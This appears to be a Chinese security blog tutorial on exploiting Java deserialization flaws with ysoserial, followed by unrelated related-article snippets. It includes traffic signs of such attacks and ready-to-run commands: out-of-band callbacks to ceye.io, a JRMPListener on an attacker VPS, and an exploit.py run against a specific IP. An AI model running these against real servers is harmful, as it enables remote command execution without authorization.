【Web安全】Ysoserial 简单利用

news2024/11/14 23:22:25

Ysoserial 简单利用

    • 1. Java 反序列化特征
    • 2. Ysoserial 流量特征
    • 3. Ysoserial 攻击流程
      • 3.1 找到序列化接口
      • 3.2 漏洞利用
        • 3.2.1 常用命令
        • 3.2.2 使用案例
    • 4. Ysoserial 攻击原理
    • 问题
    • 参考

1. Java 反序列化特征

在日志中,特征通常表现为

  • 请求格式 Json、xml、soap、二进制
    • 关键字:rmi、jndi、
  • 响应对应命令执行结果信息

2. Ysoserial 流量特征

在这里插入图片描述

3. Ysoserial 攻击流程

项目地址:https://github.com/frohoff/ysoserial

3.1 找到序列化接口

工具逐个探测

  • 例如 shiro,如果有漏洞,则会返回 rememberMe=deleteMe

  • URLDNS 这个 gadget 一般用于渗透时Java 反序列化漏洞的探测

3.2 漏洞利用

一般会进行反弹 shell 等利用

3.2.1 常用命令

使用 ysoserial,在命令行中输入指定 command ,就会自动执行命令,发起攻击

在使用命令的时候,要先 明确使用哪一个payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] '[command]'

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xx.xxxxx.ceye.io
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

在这里插入图片描述

3.2.2 使用案例

在公网 vps 监听端口号

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】'

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

在 vps 监听 JRMPListener 的 1099 端口,执行 ping 命令,验证是否执行成功

commands 表示要执行的命令

重启一个 shell 端口

python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient

4. Ysoserial 攻击原理

ysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPLIstener 使用,攻击流程就是:

先往存在漏洞的服务器发送 payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个 RMI服务并监听在设置的端口
然后攻击方在自己的服务器使用 exploit/JRMPClient 与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apache.commons.collections 包,则可以发送CommonsCollections系列的payload ),从而达到命令执行的结果。

问题

  1. 在攻击的时候,怎么选择 CommonsCollection

    要进行逐一测试,看那条攻击链可行

参考

https://blog.csdn.net/qq_36119192/article/details/107445392?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166875295216800215084475%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166875295216800215084475&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-107445392-null-null.nonecase&utm_term=ysoserial&spm=1018.2226.3001.4450

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/129703.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

拓扑排序的java代码实现过程详解

拓扑排序 在现实生活中,我们经常会同一时间接到很多任务去完成,但是这些任务的完成是有先后次序的。以我们学习java学科为例,我们需要学习很多知识,但是这些知识在学习的过程中是需要按照先后次序来完成的。从java基础&#xff0c…

中国电信携手鼎桥创新中心开展终端优选测评工作

近期,中国电信物联网开放实验室与鼎桥创新中心本着“优势互补、合作共赢、共同发展”的原则,携手联合开展了中国电信CTWing物联网市场终端优选测试,完成了多款行业智能终端的测评,为物联网市场上架产品的质量保驾护航,…

Node.js--》Express和路由模块的讲解使用

目录 Express Express的安装与使用 托管静态资源 nodemon Express路由 模块化路由 Express Express是基于Node.js平台,快速、开放、极简的Web开发框架。Express的作用和Node.js内置的http模块类似,是专门用来创建Web服务器的。Express的本质&…

cubeIDE开发, stm32独立看门狗IWDT的CubeMX配置及HAL库底层实现分析

一、STM32 的IWDT简介 2.1 看门狗原理 看门狗本质上就是一种计数器,和我们现实生活中一炷香现象、沙漏现象等是同理的,计数器一般有两种做法,一种是递增,超过固定阀值报警;一种是递减,通常值降到0时报警。后…

数据结构训练营5

开启蓝桥杯备战计划,每日练习算法一题!!坚持下去,想必下一年的蓝桥杯将会有你!!笔者是在力扣上面进行的刷题!!由于是第一次刷题!找到的题目也不咋样!所以&…

Databend in 2022

上一次写总结还是在回顾 Datafuse Labs 成立一周年,转眼来到 22 年末,Databend 也快要开始第三个年头的征程了。 今天就让我们一起回顾一下 Databend 在 2022 年的成果。 开源 Databend 是一款强大的云数仓,专为弹性和高效设计&#xff0c…

Spring Authorization Server 1.0 提供 Oauth 2.1 和 OpenID Connect 1.0 实现

1. 概述 在引入Java 社区两年半之后,VMWare发布了Spring Authorization Server 1.0。Spring 授权服务器项目构建在Spring Security之上,支持创建OpenID Connect 1.0身份提供者和OAuth 2.1授权服务器。该项目取代了不再维护的 Spring Security OAuth项目…

RHCEansible虚拟机初始化配置,ansible配置和安装

1.保证三台主机能互相通信,需要设置同一种网络模式(nat) 2.配置静态ip地址(命令行,图形界面都可以) server---192.168.171.100 node1---192.168.171.222 node2---192.168.171.10 3.更改主机名 永久更…

C++代码编程学习(1):简易通讯录的创建

2022年圣诞节到来啦,很高兴这次我们又能一起度过~ CSDN诚邀各位技术er分享关于圣诞节的各种技术创意,展现你与众不同的精彩!参与本次投稿即可获得【话题达人】勋章【圣诞快乐】定制勋章(1年1次,错过要等下一年喔&#…

消费市场的“跨年”:2023,数字新消费将引领市场何去何从?

配图来自Canva可画 2022,变局如同一个过滤器,每一个身处其中的消费者和消费品牌都在经受考验。我国人口红利在消退,竞争在加剧,需求在变化。光大证券研究所的数据显示,2022年来我国居民收入增速小幅改善,但…

Spring之Bean创建过程

1. 前言 Spring提供了xml、注解、JavaConfig多种方式来配置bean,不论何种方式,Spring最终都会将bean封装成BeanDefinition对象,Spring创建bean的依据也是通过BeanDefinition来完成的。 当我们调用getBean()方法获取bean实例时,不…

jmeter使用教程之登录接口(工作日记)

首先我们打开jmeter 快捷按钮:winr 会弹出快捷运行弹框,我们输入cmd 后点击回车 会弹出一个控制窗口,我们输入jmeter,然后回车 首次进入jmeter,页面显示空白页且默认英文 我们可以切换语言 【Options - Choose Lan…

AI前沿 | 利用训练好的模型库进行一键抠图(实例演示)

来源:投稿 作者:Struggling cyanobacteria 编辑:学姐 深度学习平台飞浆paddle的环境搭建 ① 效率更高的 gpu 版本的安装 通过 python -m pip install paddlepaddle-gpu -i https://mirror.baidu.com/pypi/simple来进行安装。 paddle.utils…

Dockerfile了解

目录 1.自定义centos,具备vim及ifconfig作用 2.自定义tomcat8 1.自定义centos,具备vim及ifconfig作用 cd /javaxl/software mkdir mydocker vi mycentosDockerfile 向 mycentosDockerfile 编辑内容 FROM centos:7 MAINTAINER zwc "zwcqq.com"…

解决Windows下使用cmd执行Python文件报错 ModuleNotFoundError: No module named ‘XXXX‘

一、问题产生 我在IDEA中可以正常执行的Python文件,想把它配置成每天固定时间执行的定时任务。我写了一个脚本在每天9点时执行Python文件,但是我在cmd中测试执行时遇到以下报错: Traceback (most recent call last):File "D:\dev\code…

AD5328手册翻译不完全(仅供参考)

最近要用到DAC生成数据波形,但是都是英文不好阅读,于是花费点时间翻译了大致数据内容并记录 一、特性 AD5308:16导联TSSOP中的8个缓冲8位DAC A版本:1 LSB INL,B版本:0.75 LSB INR AD5318:16导联TSSOP中的8个缓冲10…

互联网时代,VR全景营销的意义是什么?

互联网时代,很多事项我们都可以在手机上解决,随着互联网的不断发展,年轻人每天花在手机上的时间也在日益增加,这就将压力给到了线下实体店铺,年轻人不喜欢逛街,线下店铺的获客成本就会越来越高。同时也是由…

无人机测深三种方法-激光雷达,测深仪和探地雷达

最近搜素了论文和相关网页,博主总结了一下无人机测深总共有三种办法: (1)激光雷达; (2)测深仪; (3)探地雷达(GPR)。 1、激光雷达 …

如何在匿名上位机中显示自定义数据波形

匿名上位机相信很多人都用过,以前在调飞控的时候使用过,可以很直观的显示数据的波形,比如飞机姿态等。 最近在调试foc。很多数据在调试过程中,仅仅使用串口打印出来显示是很不直观的,比如正弦波,经典的马鞍…

Python冷知识-优雅的文档属性

Python是一门学习成本低但是使用场景广泛的语言,0基础2周左右就可以进行简单的脚本编写,但也正是因为这个原因,导致很多小伙伴的Python代码比较粗糙,那么我们来聊聊使用文档属性让Python代码更加的优雅。 设置文档属性 作为一名…